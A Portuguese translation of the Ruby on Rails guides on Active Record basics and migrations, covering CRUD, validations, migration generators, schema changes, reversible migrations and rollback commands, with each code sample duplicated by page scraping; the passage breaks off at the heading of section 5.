# retorna o primeiro usuário com o nome David
david = User.find_by(name: 'David')

# retorna o primeiro usuário com o nome David david = User.find_by(name: 'David') Copiar

# encontra todos os usuários com o nome David que são Code Artists e os ordena por created_at em ordem cronológica inversa
users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc)

# encontra todos os usuários com o nome David que são Code Artists e os ordena por created_at em ordem cronológica inversa users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc) Copiar

Você pode aprender mais sobre como consultar um model do Active Record no guia Active Record Query Interface.

5.3 Update

Uma vez que o objeto do Active Record for recuperado, seus atributos podem ser modificados e salvos no banco de dados.

user = User.find_by(name: 'David')
user.name = 'Dave'
user.save

user = User.find_by(name: 'David') user.name = 'Dave' user.save Copiar

Um atalho para isso seria usar um hash mapeando o nome dos atributos para o valor desejado, como a seguir:

user = User.find_by(name: 'David')
user.update(name: 'Dave')

user = User.find_by(name: 'David') user.update(name: 'Dave') Copiar

Isto é mais útil quando atualizamos diversos atributos de uma vez. Se, por outro lado, você gostaria de atualizar diversos registros em massa, você pode achar o método de classe update_all útil:

User.update_all "max_login_attempts = 3, must_change_password = 'true'"

User.update_all "max_login_attempts = 3, must_change_password = 'true'" Copiar

5.4 Delete

Da mesma forma, uma vez recuperado um objeto do Active Record, o mesmo pode ser destruído, o que o remove do banco de dados.

user = User.find_by(name: 'David')
user.destroy

user = User.find_by(name: 'David') user.destroy Copiar

Se você deseja excluir diversos registros em massa, você pode utilizar os métodos destroy_by ou destroy_all:

# encontra e deleta todos os usuários com o nome David
User.destroy_by(name: 'David')

# deleta todos os usuários
User.destroy_all

# encontra e deleta todos os usuários com o nome David User.destroy_by(name: 'David') # deleta todos os usuários User.destroy_all Copiar

6 Validações

O Active Record permite que você valide o estado de um model antes que ele seja gravado no banco de dados. Existem diversos métodos que você pode usar para verificar seus models e validar que o valor de um atributo não é vazio, é único e já não existe no banco de dados, segue um formato específico, e muito mais.

A validação é uma questão muito importante a se considerar quando se está persistindo no banco de dados, então os métodos save e update levam isso em conta quando executados: eles retornam false quando a validação falha e eles de fato não performam nenhuma operação no banco de dados. Eles tem uma versão com bang (exclamação) (que são save! e update!), que são mais rigorosos e retornam a exceção ActiveRecord::RecordInvalid se a validação falha. Um rápido exemplo para ilustrar:

class User < ApplicationRecord
validates :name, presence: true
end

class User < ApplicationRecord validates :name, presence: true end Copiar

irb> user = User.new
irb> user.save
=> false
irb> user.save!
ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

user = User.new user.save user.save! Copiar

Você pode aprender mais sobre validações no Guia de Validaçes de Active Record (em inglês).

7 Callbacks

Os callbacks de um Active Record permitem que você vincule códigos para alguns eventos no ciclo de vida de seus modelos. Isso permite que você adicione comportamentos para seus modelos executando códigos de forma transparente quando estes eventos acontecem, como quando você cria um novo registro, atualiza, destrói, e outros. Você pode aprender mais sobre callbacks no Guia de callbacks do Active Record.

8 Migrations

O Rails fornece uma Linguagem de Domínio Específico (DSL) para gerenciar o schema do banco de dados, chamada de migrations. As Migrations são armazenadas em arquivos que são executados diante de qualquer banco de dados que o Active Record suporta utilizando o rake. Aqui está uma migration que cria uma tabela:

class CreatePublications < ActiveRecord::Migration[6.0]
def change
create_table :publications do |t|
t.string :title
t.text :description
t.references :publication_type
t.integer :publisher_id
t.string :publisher_type
t.boolean :single_issue

t.timestamps
end
add_index :publications, :publication_type_id
end
end

class CreatePublications < ActiveRecord::Migration[6.0] def change create_table :publications do |t| t.string :title t.text :description t.references :publication_type t.integer :publisher_id t.string :publisher_type t.boolean :single_issue t.timestamps end add_index :publications, :publication_type_id end end Copiar

O Rails mantém o controle de quais arquivos foram enviados ao banco de dados e fornece ferramentas de reversão. Para realmente criar uma tabela, você deverá executar bin/rails db:migrate e para reverter, bin/rails db:rollback

Observe que o código acima é agnóstico em relação ao banco de dados: irá rodar em MySQL, PostgreSQL, Oracle, entre outros. Você pode aprender mais sobre migrations no Guia de Migrations do Active Record.

Active Record Migrations — Ruby on...

1 Visão Geral de Migration

Migrations são uma forma conveniente de alterar nosso esquema de banco de dados com o tempo de uma forma fácil e consistente. Elas usam uma Ruby DSL para que você não precise escrever SQL puro, permitindo que seu esquema e as alterações sejam independentes do banco de dados utilizado.

Você pode pensar em cada migration como sendo uma nova 'versão' do banco de dados. Um esquema é vazio no início, e após cada migration ele é modificado para adicionar ou remover tabelas, colunas, ou entradas de dados. O Active Record sabe como atualizar seu esquema nessa linha do tempo, trazendo-o de qualquer ponto em que ele esteja no histórico, para a última versão. O Active Record também atualizará seu arquivo db/schema.rb para igualar a estrutura mais atualizada do seu banco de dados.

Aqui temos um exemplo de uma migration:

class CreateProducts < ActiveRecord::Migration[6.0]
def change
create_table :products do |t|
t.string :name
t.text :description

t.timestamps
end
end
end

class CreateProducts < ActiveRecord::Migration[6.0] def change create_table :products do |t| t.string :name t.text :description t.timestamps end end end Copiar

Essa migration adiciona uma tabela chamada products com uma coluna do tipo string chamada name e uma coluna do tipo text chamada description. Uma coluna do tipo chave primária chamada id também será adicionada implicitamente, pois ela é a chave primária padrão para todos os models de Active Record. A macro timestamps adiciona duas colunas, created_at e updated_at. Essas colunas especiais são automaticamente gerenciadas pelo Active Record, se existirem.

Note que nós definimos as mudanças que queremos que aconteçam no futuro. Antes desta migration ser executada, não há sequer a tabela. Depois, a tabela será criada. O Active Record também sabe como reverter essa migration: se a desfizermos, ele removerá a tabela.

Em bancos de dados que suportem transações com declarações que alterem o esquema, migrations são incluídas na transação. Se o banco de dados não suportar esses tipos de declarações, então, quando uma migration falhar, as partes dela que tiveram sucesso não serão desfeitas. Você terá que desfazer as mudanças que fez manualmente.

Há certos tipos de queries que não podem ser executadas dentro de uma transação. Se o seu adaptador de conexão suporta transações DDL você pode usar disable_ddl_transaction! para desabilitá-las para uma única migration.

Se você quiser que uma migration faça algo que o Active Record não sabe como reverter, pode usar reversible:

class ChangeProductsPrice < ActiveRecord::Migration[6.0]
def change
reversible do |dir|
change_table :products do |t|
dir.up   { t.change :price, :string }
dir.down { t.change :price, :integer }
end
end
end
end

class ChangeProductsPrice < ActiveRecord::Migration[6.0] def change reversible do |dir| change_table :products do |t| dir.up { t.change :price, :string } dir.down { t.change :price, :integer } end end end end Copiar

Alternativamente, você pode usar up e down ao invés de change:

class ChangeProductsPrice < ActiveRecord::Migration[6.0]
def up
change_table :products do |t|
t.change :price, :string
end
end

def down
change_table :products do |t|
t.change :price, :integer
end
end
end

class ChangeProductsPrice < ActiveRecord::Migration[6.0] def up change_table :products do |t| t.change :price, :string end end def down change_table :products do |t| t.change :price, :integer end end end Copiar

2 Criando uma Migration

2.1 Criando uma Migration Independente

Migrations são armazenadas em arquivos no diretório db/migrate, um para cada classe de migration. O nome do arquivo tem o seguinte formato YYYYMMDDHHMMSS_create_products.rb, isto é uma timestamp (marcação de data/hora) em UTC identificando a migration seguida por um underline seguido pelo nome da migration. O nome da classe da migration (em CamelCase) deve corresponder à última parte do nome do arquivo. Por exemplo 20080906120000_create_products.rb deve definir a classe CreateProducts e 20080906120001_add_details_to_products.rb deve definir AddDetailsToProducts. O Rails usa esse registro de data e hora para determinar qual migration deve ser executada e em que ordem, portanto, se você estiver copiando uma migration de outra aplicação ou gerar um arquivo você mesmo, esteja ciente de sua posição na ordem.

Obviamente, calcular timestamps não é divertido, portanto, o Active Record fornece um gerador para fazer isso por você:

$ bin/rails generate migration AddPartNumberToProducts

bin/rails generate migration AddPartNumberToProducts Copiar

Isso criará uma migration vazia nomeada devidamente:

class AddPartNumberToProducts < ActiveRecord::Migration[6.0]
def change
end
end

class AddPartNumberToProducts < ActiveRecord::Migration[6.0] def change end end Copiar

Esse gerador pode fazer muito mais do que acrescentar uma timestamp ao nome do arquivo. Com base em convenções de nomenclatura e argumentos (opcionais) adicionais, ele pode também começar a concretizar a migration.

Se o nome da migração estiver no formato "AddColumnToTable" ou "RemoveColumnFromTable" e é seguido por uma lista de nomes de colunas e tipos de dados, então uma migration contendo as intruções add_column e remove_column serão criadas apropriadamente.

$ bin/rails generate migration AddPartNumberToProducts part_number:string

bin/rails generate migration AddPartNumberToProducts part_number:string Copiar

irá gerar

class AddPartNumberToProducts < ActiveRecord::Migration[6.0]
def change
add_column :products, :part_number, :string
end
end

class AddPartNumberToProducts < ActiveRecord::Migration[6.0] def change add_column :products, :part_number, :string end end Copiar

Se você deseja adicionar um índice na nova coluna, você também pode fazer isso.

$ bin/rails generate migration AddPartNumberToProducts part_number:string:index

bin/rails generate migration AddPartNumberToProducts part_number:string:index Copiar

irá gerar o add_column apropriado e o add_index

class AddPartNumberToProducts < ActiveRecord::Migration[6.0]
def change
add_column :products, :part_number, :string
add_index :products, :part_number
end
end

class AddPartNumberToProducts < ActiveRecord::Migration[6.0] def change add_column :products, :part_number, :string add_index :products, :part_number end end Copiar

Da mesma forma, você pode gerar uma migration para remover uma coluna via linha de comando:

$ bin/rails generate migration RemovePartNumberFromProducts part_number:string

bin/rails generate migration RemovePartNumberFromProducts part_number:string Copiar

gera

class RemovePartNumberFromProducts < ActiveRecord::Migration[6.0]
def change
remove_column :products, :part_number, :string
end
end

class RemovePartNumberFromProducts < ActiveRecord::Migration[6.0] def change remove_column :products, :part_number, :string end end Copiar

Você não tem a limitação de apenas uma coluna ser gerada magicamente. Por exemplo:

$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal

bin/rails generate migration AddDetailsToProducts part_number:string price:decimal Copiar

gera

class AddDetailsToProducts < ActiveRecord::Migration[6.0]
def change
add_column :products, :part_number, :string
add_column :products, :price, :decimal
end
end

class AddDetailsToProducts < ActiveRecord::Migration[6.0] def change add_column :products, :part_number, :string add_column :products, :price, :decimal end end Copiar

Se o nome da migração estiver no formato "CreateXXX" e for seguido por uma lista de nomes e tipos de colunas, em seguida, uma migration criando a tabela XXX com as colunas listadas será gerado. Por exemplo:

$ bin/rails generate migration CreateProducts name:string part_number:string

bin/rails generate migration CreateProducts name:string part_number:string Copiar

gera

class CreateProducts < ActiveRecord::Migration[6.0]
def change
create_table :products do |t|
t.string :name
t.string :part_number

t.timestamps
end
end
end

class CreateProducts < ActiveRecord::Migration[6.0] def change create_table :products do |t| t.string :name t.string :part_number t.timestamps end end end Copiar

Como sempre, o que foi gerado para você é apenas um ponto de partida. Você pode adicionar ou remover conteúdo como achar melhor, editando o arquivo db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb.

Além disso, o gerador aceita o tipo de coluna references (também disponível como belongs_to). Por exemplo:

$ bin/rails generate migration AddUserRefToProducts user:references

bin/rails generate migration AddUserRefToProducts user:references Copiar

gera a seguinte chamada a [add_references][]:

class AddUserRefToProducts < ActiveRecord::Migration[6.0]
def change
add_reference :products, :user, foreign_key: true
end
end

class AddUserRefToProducts < ActiveRecord::Migration[6.0] def change add_reference :products, :user, foreign_key: true end end Copiar

Essa migração criará uma coluna user_id e o índice apropriado.

Também existe um gerador que produzirá join tables se JoinTable fizer parte do nome:

$ bin/rails g migration CreateJoinTableCustomerProduct customer product

bin/rails g migration CreateJoinTableCustomerProduct customer product Copiar

produzirá a seguinte migração:

class CreateJoinTableCustomerProduct < ActiveRecord::Migration[6.0]
def change
create_join_table :customers, :products do |t|
# t.index [:customer_id, :product_id]
# t.index [:product_id, :customer_id]
end
end
end

class CreateJoinTableCustomerProduct < ActiveRecord::Migration[6.0] def change create_join_table :customers, :products do |t| # t.index [:customer_id, :product_id] # t.index [:product_id, :customer_id] end end end Copiar

2.2 Model Generators

Os geradores de model e scaffold criarão migrações apropriadas para adicionar um novo model. Essa migração já irá conter as instruções para criar a tabela. Se você disser ao Rails quais colunas você deseja, as instruções para adicionar essas colunas também serão criadas. Por exemplo, executando:

$ bin/rails generate model Product name:string description:text

bin/rails generate model Product name:string description:text Copiar

criará uma migração que se parece com isso

class CreateProducts < ActiveRecord::Migration[6.0]
def change
create_table :products do |t|
t.string :name
t.text :description

t.timestamps
end
end
end

class CreateProducts < ActiveRecord::Migration[6.0] def change create_table :products do |t| t.string :name t.text :description t.timestamps end end end Copiar

Você pode utilizar quantos pares de nome/tipo de coluna desejar.

2.3 Usando Modificadores

Alguns modificadores de tipo podem utilizados diretamente via linha de comando. Eles são delimitados por chaves e vem após o tipo de campo:

Por exemplo, executando:

$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}

bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic} Copiar

produzirá uma migração que se parece com isso

class AddDetailsToProducts < ActiveRecord::Migration[6.0]
def change
add_column :products, :price, :decimal, precision: 5, scale: 2
add_reference :products, :supplier, polymorphic: true
end
end

class AddDetailsToProducts < ActiveRecord::Migration[6.0] def change add_column :products, :price, :decimal, precision: 5, scale: 2 add_reference :products, :supplier, polymorphic: true end end Copiar

Dê uma olhada no --help dos generators (geradores) obter mais detalhes.

3 Escrevendo uma Migration

Depois de criar sua migration usando um dos geradores, é hora de começar os trabalhos!

3.1 Criando uma Tabela

O método create_table é um dos mais fundamentais, mas na maioria das vezes, ele será criado para você usando um gerador de scaffold ou model. Um uso típico seria:

create_table :products do |t|
t.string :name
end

create_table :products do |t| t.string :name end Copiar

Que cria uma tabela products com uma coluna chamada name (e como discutido abaixo, uma coluna implícita id.

Por padrão, o create_table criará uma chave primária chamada id. Você pode mudar o nome da chave primária com a opção :primary_key (não esqueça de atualizar o model correspondente) ou, se você não quer uma chave primária, você pode passar a opção id: false. Se você precisa passar opções específicas do banco de dados você pode colocar um fragmento SQL na opção :option. Por exemplo:

create_table :products, options: "ENGINE=BLACKHOLE" do |t|
t.string :name, null: false
end

create_table :products, options: "ENGINE=BLACKHOLE" do |t| t.string :name, null: false end Copiar

acrescentará ENGINE=BLACKHOLE à instrução SQL usada para criar a tabela.

Você também pode passar a opção :comment com qualquer descrição para a tabela que serão armazenados no próprio bando de dados e poderão ser visualizados com ferramentas de administração de banco de dados, como MySQL Workbench ou PgAdmin III. É altamente recomendável especificar comentários nas migrations para aplicações com grandes bancos de dados, pois ajudam as pessoas a entender o modelo de dados e gerar documentação. Atualmente, apenas os adaptadores MySQL e PostgreSQL suportam comentários.

3.2 Criando uma Tabela de Junção (Join Table)

O método de migration create_join_table cria uma tabela join HABTM (tem e pertence a muitos). Um uso comum seria:

create_join_table :products, :categories

create_join_table :products, :categories Copiar

que cria uma tabela categories_products com duas colunas chamadas category_id e product_id. Essas colunas têm a opção :null definida como false por padrão. Isso pode ser substituído, especificando a opção :column_options:

create_join_table :products, :categories, column_options: { null: true }

create_join_table :products, :categories, column_options: { null: true } Copiar

Por padrão, o nome da tabela de join vem da união dos dois primeiros argumentos fornecidos para create_join_table em ordem alfabética. Para customizar o nome da tabela, forneça uma opção :table_name:

create_join_table :products, :categories, table_name: :categorization

create_join_table :products, :categories, table_name: :categorization Copiar

cria uma tabela categorization.

create_join_table também aceita um bloco, que você pode usar para adicionar índices (que não são criados por padrão) ou colunas adicionais:

create_join_table :products, :categories do |t|
t.index :product_id
t.index :category_id
end

create_join_table :products, :categories do |t| t.index :product_id t.index :category_id end Copiar

3.3 Mudando Tabelas

Um primo próximo do create_table é change_table, usado para mudar tabelas existentes. É usado de maneira semelhante ao create_table mas o objeto produzido no bloco conhece mais truques. Por exemplo:

change_table :products do |t|
t.remove :description, :name
t.string :part_number
t.index :part_number
t.rename :upccode, :upc_code
end

change_table :products do |t| t.remove :description, :name t.string :part_number t.index :part_number t.rename :upccode, :upc_code end Copiar

remove as colunas description e name, cria uma coluna de string part_number e adiciona um índice nela. Finalmente renomeia a coluna upccode.

3.4 Mudando Colunas

Assim como o remove_column e add_column, o Rails fornece o método de migration change_column.

change_column :products, :part_number, :text

change_column :products, :part_number, :text Copiar

Isso muda a coluna part_number na tabela produtos para ser um campo :text. Note que o comando change_column é irreversível.

Além do change_column, os métodos change_column_null e change_column_default são usados especificamente para alterar uma restrição de não ser nulo e valores padrão de uma coluna.

change_column_null :products, :name, false
change_column_default :products, :approved, from: true, to: false

change_column_null :products, :name, false change_column_default :products, :approved, from: true, to: false Copiar

Isso define o campo :name em produtos para uma coluna NOT NULL e o valor padrão do campo :approved de true para false.

Você também pode escrever a migration change_column_default acima como change_column_default :products, :approved, false, mas diferente do exemplo anterior, isso tornaria sua migration irreversível.

3.5 Modificadores de Coluna

Modificadores de coluna podem ser aplicados ao criar ou alterar uma coluna:

- limit Define o tamanho máximo dos campos string/text/binary/integer.

- precision Define a precisão para os campos decimal, representando a quantidade total de dígitos no número.

- scale Define a escala para os campos decimal, representando o número de digitos após o ponto decimal.

- polymorphic Adiciona uma coluna type para a associação belongs_to.

- null Autoriza ou não valores NULL na coluna.

- default Permite definir um valor padrão na coluna. Note que se você estiver usando um valor dinâmico (como uma data), o padrão será calculado apenas na primeira vez (ou seja, na data em que a migration é aplicada).

- comment Adiciona um comentário para a coluna.

Alguns adaptadores podem suportar opções adicionais; consulte a documentação da API de um adaptador específico para maiores informações.

null e default não podem ser especificados via linha de comando.

3.6 Foreign Keys (Chaves Estrangeiras)

Embora não seja necessário, você pode adicionar restrições de foreign key (chave estrangeira) para garantir a integridade referencial.

add_foreign_key :articles, :authors

add_foreign_key :articles, :authors Copiar

Isso adiciona uma nova foreign key (chave estrangeira) à coluna author_id da tabela articles. A chave referencia a coluna id para a tabela authors. Se os nomes da coluna não puderem ser derivados dos nomes das tabelas, você poderá usar as opções :column e :primary_key. O Rails irá gerar um nome para cada foreign key (chave estrangeira) começando com fk_rails_ seguido por 10 caracteres que são gerados especificamente a partir do from_table e column. Existe uma opção :name para especificar um nome diferente se necessário.

O Active Record suporta apenas foreign keys (chaves estrangeiras) de coluna única. execute e structure.sql são obrigados a usar foreign keys (chaves estrangeiras) compostas. Consulte Schema Dumping e Você.

Foreign key (chave estrangeira) também podem ser removidas:

# let Active Record figure out the column name
remove_foreign_key :accounts, :branches

# remove foreign key for a specific column
remove_foreign_key :accounts, column: :owner_id

# remove foreign key by name
remove_foreign_key :accounts, name: :special_fk_name

# let Active Record figure out the column name remove_foreign_key :accounts, :branches # remove foreign key for a specific column remove_foreign_key :accounts, column: :owner_id # remove foreign key by name remove_foreign_key :accounts, name: :special_fk_name Copiar

3.7 Quando os Helpers não são Suficientes

Se os helpers fornecidos pelo Active Record não forem suficientes, você poderá usar o método execute para executar SQL arbitrário:

Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1")

Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") Copiar

Para mais detalhes e exemplos de métodos individuais, consulte a documentação da API. Em particular, a documentação para ActiveRecord::ConnectionAdapters::SchemaStatements (que fornece os métodos disponíveis nos métodos change, up e down), ActiveRecord::ConnectionAdapters::TableDefinition (que fornece os métodos disponíveis no objeto gerado por create_table) e ActiveRecord::ConnectionAdapters::Table (que fornece os métodos disponíveis no objeto gerado por change_table).

3.8 Usando o Método change

O método change é a principal maneira de escrever migrations. Funciona para a maioria dos casos, onde o Active Record sabe como reverter a migration automaticamente. Atualmente, o método change suporta apenas estas definições de migrations:

- add_column

- add_foreign_key

- add_index

- add_reference

- add_timestamps

- change_column_default (must supply a :from and :to option)

- change_column_null

- create_join_table

- create_table

- disable_extension

- drop_join_table

- drop_table (must supply a block)

- enable_extension

- remove_column (must supply a type)

- remove_foreign_key (must supply a second table)

- remove_index

- remove_reference

- remove_timestamps

- rename_column

- rename_index

- rename_table

change_table também é reversível, desde que o bloco não chame change, change_default ou remove.

remove_column é reversível se você fornecer o tipo de coluna como o terceiro argumento. Forneça também as opções da coluna original, caso contrário, o Rails não poderá recriar a coluna exatamente ao reverter:

remove_column :posts, :slug, :string, null: false, default: ''

remove_column :posts, :slug, :string, null: false, default: '' Copiar

Se você precisar usar outros métodos, você deve usar reversible ou escrever os métodos up e down em vez de usar o médoto change.

3.9 Usando reversible

Migrations complexas podem exigir processamento que o Active Record não sabe como reverter. Você pode usar reversible para especificar o que fazer ao executar uma migration e o que mais fazer ao revertê-la. Por exemplo:

class ExampleMigration < ActiveRecord::Migration[6.0]
def change
create_table :distributors do |t|
t.string :zipcode
end

reversible do |dir|
dir.up do
# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors
ADD CONSTRAINT zipchk
CHECK (char_length(zipcode) = 5) NO INHERIT;
SQL
end
dir.down do
execute <<-SQL
ALTER TABLE distributors
DROP CONSTRAINT zipchk
SQL
end
end

add_column :users, :home_page_url, :string
rename_column :users, :email, :email_address
end
end

class ExampleMigration < ActiveRecord::Migration[6.0] def change create_table :distributors do |t| t.string :zipcode end reversible do |dir| dir.up do # add a CHECK constraint execute <<-SQL ALTER TABLE distributors ADD CONSTRAINT zipchk CHECK (char_length(zipcode) = 5) NO INHERIT; SQL end dir.down do execute <<-SQL ALTER TABLE distributors DROP CONSTRAINT zipchk SQL end end add_column :users, :home_page_url, :string rename_column :users, :email, :email_address end end Copiar

O uso de reversible garantirá que as instruções também sejam executadas na ordem certa. Se o exemplo anterior de migration for revertido, o bloco down será executado depois que a coluna home_page_url for removida e logo antes da tabela distributors for apagada.

Às vezes sua migration fará algo que é simplesmente irreversível; por exemplo, pode destruir alguns dados. Em alguns casos, você pode levantar o ActiveRecord::IrreversibleMigration no seu bloco down. Se alguém tentar reverter sua migration, uma mensagem de erro será exibida dizendo que isso não pode ser feito.

3.10 Usando os métodos up/down

Você também pode usar o estilo antigo de migration usando os métodos up e down em vez do método change. O método up deve descrever a transformação que você deseja fazer no seu schema, e o método down da sua migration deve reverter as transformações feitas pelo método up. Em outras palavas, o schema do banco de dados deve permanecer inalterado se você fizer um up seguido por um down. Por exemplo, se você criar uma tabela em um método up, você deve apagá-la no método down. É aconselhável realizar as transformações precisamente na ordem inversa em que foram feitas no método up. O exemplo na seção reversible é equivalente a:

class ExampleMigration < ActiveRecord::Migration[6.0]
def up
create_table :distributors do |t|
t.string :zipcode
end

# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors
ADD CONSTRAINT zipchk
CHECK (char_length(zipcode) = 5);
SQL

add_column :users, :home_page_url, :string
rename_column :users, :email, :email_address
end

def down
rename_column :users, :email_address, :email
remove_column :users, :home_page_url

execute <<-SQL
ALTER TABLE distributors
DROP CONSTRAINT zipchk
SQL

drop_table :distributors
end
end

class ExampleMigration < ActiveRecord::Migration[6.0] def up create_table :distributors do |t| t.string :zipcode end # add a CHECK constraint execute <<-SQL ALTER TABLE distributors ADD CONSTRAINT zipchk CHECK (char_length(zipcode) = 5); SQL add_column :users, :home_page_url, :string rename_column :users, :email, :email_address end def down rename_column :users, :email_address, :email remove_column :users, :home_page_url execute <<-SQL ALTER TABLE distributors DROP CONSTRAINT zipchk SQL drop_table :distributors end end Copiar

Se sua migration é irreversível, você deve dar raise num ActiveRecord::IrreversibleMigration do seu método down. Se alguém tentar reveter sua migration, uma mensagem de erro será exibida dizendo que isso não pode ser feito.

3.11 Revertendo Migrations Anteriores

Você pode usar a capacidade do Active Record de reverter migrations usando o método revert:

require_relative "20121212123456_example_migration"

class FixupExampleMigration < ActiveRecord::Migration[6.0]
def change
revert ExampleMigration

create_table(:apples) do |t|
t.string :variety
end
end
end

require_relative "20121212123456_example_migration" class FixupExampleMigration < ActiveRecord::Migration[6.0] def change revert ExampleMigration create_table(:apples) do |t| t.string :variety end end end Copiar

O método revert também aceita um bloco de instruções para reverter. Isso pode ser útil para reverter partes selecionadas de migrations anteriores. Por exemplo, vamos imaginar que ExampleMigration seja executado e mais tarde decidimos que seria melhor usar as validações do Active Record, no lugar da constraint (restrição) CHECK, para verificar o CEP.

class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[6.0]
def change
revert do
# copy-pasted code from ExampleMigration
reversible do |dir|
dir.up do
# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors
ADD CONSTRAINT zipchk
CHECK (char_length(zipcode) = 5);
SQL
end
dir.down do
execute <<-SQL
ALTER TABLE distributors
DROP CONSTRAINT zipchk
SQL
end
end

# The rest of the migration was ok
end
end
end

class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[6.0] def change revert do # copy-pasted code from ExampleMigration reversible do |dir| dir.up do # add a CHECK constraint execute <<-SQL ALTER TABLE distributors ADD CONSTRAINT zipchk CHECK (char_length(zipcode) = 5); SQL end dir.down do execute <<-SQL ALTER TABLE distributors DROP CONSTRAINT zipchk SQL end end # The rest of the migration was ok end end end Copiar

A mesma migration também poderia ter sido escrita sem o uso do revert mas isso envolveria mais algumas etapas: reverter a ordem de create_table e reversible, substituindo create_table por drop_table, e finalmente mudando up para down e vice-versa. Tudo isso é resolvido por revert.

4 Executando as Migrations

O Rails fornece uma série de comandos para executar certos conjuntos de migrations.

O primeiro comando rails relacionado à migration (migração) que você utilizará, provavelmente será bin/rails db:migrate. Basicamente, ele executa o método change ou up para todas as migrations que ainda não foram executadas até o momento. Se não houver nenhuma dessas migrations, nada é executado. O comando executará as migrations com base na ordem da data da migration.

Observe que ao executar o comando db:migrate também é chamado o comando db:schema:dump, que atualizará seu arquivo db/schema.rb para corresponder a estrutura do seu banco de dados.

Se você especificar uma versão alvo, o Active Record executará as migrations necessárias (change, up, down) até atingir a versão especificada. A versão é o prefixo numérico do nome do arquivo da migration. Por exemplo, para migrar para a versão 20080906120000 execute:

$ bin/rails db:migrate VERSION=20080906120000

bin/rails db:migrate VERSION=20080906120000 Copiar

Se a versão 20080906120000 for maior que a versão atual (ou seja, está migrando para cima), será executado o método change (ou up) em todas as migrations até a 20080906120000 (incluindo ela na execução) e não será executada nenhuma migration posterior. Se estiver migrando para baixo, será executado o método down em todas as migrations até a 20080906120000, não incluindo ela na execução.

4.1 Revertendo a Migration

Uma tarefa comum é reverter a última migration. Por exemplo, se você cometeu um erro e deseja corrigí-lo. Ao invés de rastrear o número da versão associada à migration anterior, você pode executar:

$ bin/rails db:rollback

bin/rails db:rollback Copiar

Isso reverterá a migration mais recente, seja revertendo o método change ou executando o método down. Se precisar desfazer várias migrations, você pode passar um parâmetro STEP:

$ bin/rails db:rollback STEP=3

bin/rails db:rollback STEP=3 Copiar

vai reverter as últimas 3 migrations.

O comando db:migrate:redo é um atalho para fazer um rollback e então refazer uma migration de volta. Assim como o comando db:rollback, você pode utilizar o parâmetro STEP se precisar voltar mais de uma versão, por exemplo:

$ bin/rails db:migrate:redo STEP=3

bin/rails db:migrate:redo STEP=3 Copiar

Nenhum desses comandos do rails fazem nada do que você não pudesse fazer com o db:migrate. Eles são apenas mais convenientes, já que você não precisa especificar explicitamente a versão para a qual migrar.

4.2 Setup do Banco de Dados

O comando bin/rails db:setup vai criar o banco de dados, carregar o schema e inicializar com os dados iniciais.

4.3 Reinicializando o Banco de Dados

O comando bin/rails db:reset vai eliminar o banco de dados e configurá-lo novamente. Isso é funcionalmente equivalente ao comando bin/rails db:drop db:setup.

Isso não é o mesmo que executar todas as migrations. Ele usará apenas o conteúdo do arquivo atual db/schema.rb ou db/structure.sql. Se uma migration não pode ser revertida, o comando bin/rails db:reset pode não ser útil. Para saber mais sobre como descartar o schema, consulte a seção Schema Dumping e Você.

4.4 Executando Migrations Específicas

Se você precisar executar uma migration específica para cima ou para baixo, os comandos db:migrate:up e db:migration:down farão isso. Basta especificar a versão correta e a migration correspondente terá o método change, up ou down chamado, por exemplo:

$ bin/rails db:migrate:up VERSION=20080906120000

bin/rails db:migrate:up VERSION=20080906120000 Copiar

vai executar a migration 20080906120000 executando o método change (ou o método up). Este comando verificará primeiro se a migration já foi realizada e não fará nada se o Active Record entender que já foi executada.

4.5 Executando Migrations em Ambientes Diferentes

Por padrão, ao rodar o bin/rails db:migrate ele será executado no ambiente development (desenvolvimento). Para executar as migrations em outro ambiente, você pode especificá-lo usando a variável de ambiente RAILS_ENV enquanto executa o comando. Por exemplo, para executar as *migrations*no ambiente test (teste), você pode executar:

$ bin/rails db:migrate RAILS_ENV=test

bin/rails db:migrate RAILS_ENV=test Copiar

4.6 Alterando o Output (Saída) de Migrations em Execução

Por padrão, as migrations informam exatamente o que estão fazendo e o quanto tempo levou. Uma migration criando uma tabela e adicionando um índice pode produzir um output como esse:

==  CreateProducts: migrating =================================================
-- create_table(:products)
-> 0.0028s
==  CreateProducts: migrated (0.0028s) ========================================

== CreateProducts: migrating ================================================= -- create_table(:products) -> 0.0028s == CreateProducts: migrated (0.0028s) ======================================== Copiar

Vários métodos são fornecidos nas migrations que permitem que você controle tudo isso:

Método

Objetivo

suppress_messages

Pega um bloco como argumento e suprime qualquer output gerado pelo bloco.

say

Pega um argumento de mensagem e o exibe como está. Um segundo argumento booleano pode ser passado para especificar se deve ser indentado ou não.

say_with_time

Produz um texto junto com o tempo que levou para executar seu bloco. Se o bloco retornar um inteiro, ele assume que é o número de linhas afetadas.

Por exemplo, esta migration

class CreateProducts < ActiveRecord::Migration[6.0]
def change
suppress_messages do
create_table :products do |t|
t.string :name
t.text :description
t.timestamps
end
end

say "Created a table"

suppress_messages {add_index :products, :name}
say "and an index!", true

say_with_time 'Waiting for a while' do
sleep 10
250
end
end
end

class CreateProducts < ActiveRecord::Migration[6.0] def change suppress_messages do create_table :products do |t| t.string :name t.text :description t.timestamps end end say "Created a table" suppress_messages {add_index :products, :name} say "and an index!", true say_with_time 'Waiting for a while' do sleep 10 250 end end end Copiar

gera o seguinte output

==  CreateProducts: migrating =================================================
-- Created a table
-> and an index!
-- Waiting for a while
-> 10.0013s
-> 250 rows
==  CreateProducts: migrated (10.0054s) =======================================

== CreateProducts: migrating ================================================= -- Created a table -> and an index! -- Waiting for a while -> 10.0013s -> 250 rows == CreateProducts: migrated (10.0054s) ======================================= Copiar

Se você deseja que o Active Record não produza nada, execute bin/rails db:migrate VERBOSE=false e isso irá suprimir todos os outputs

5 Mudando Migrations Existentes

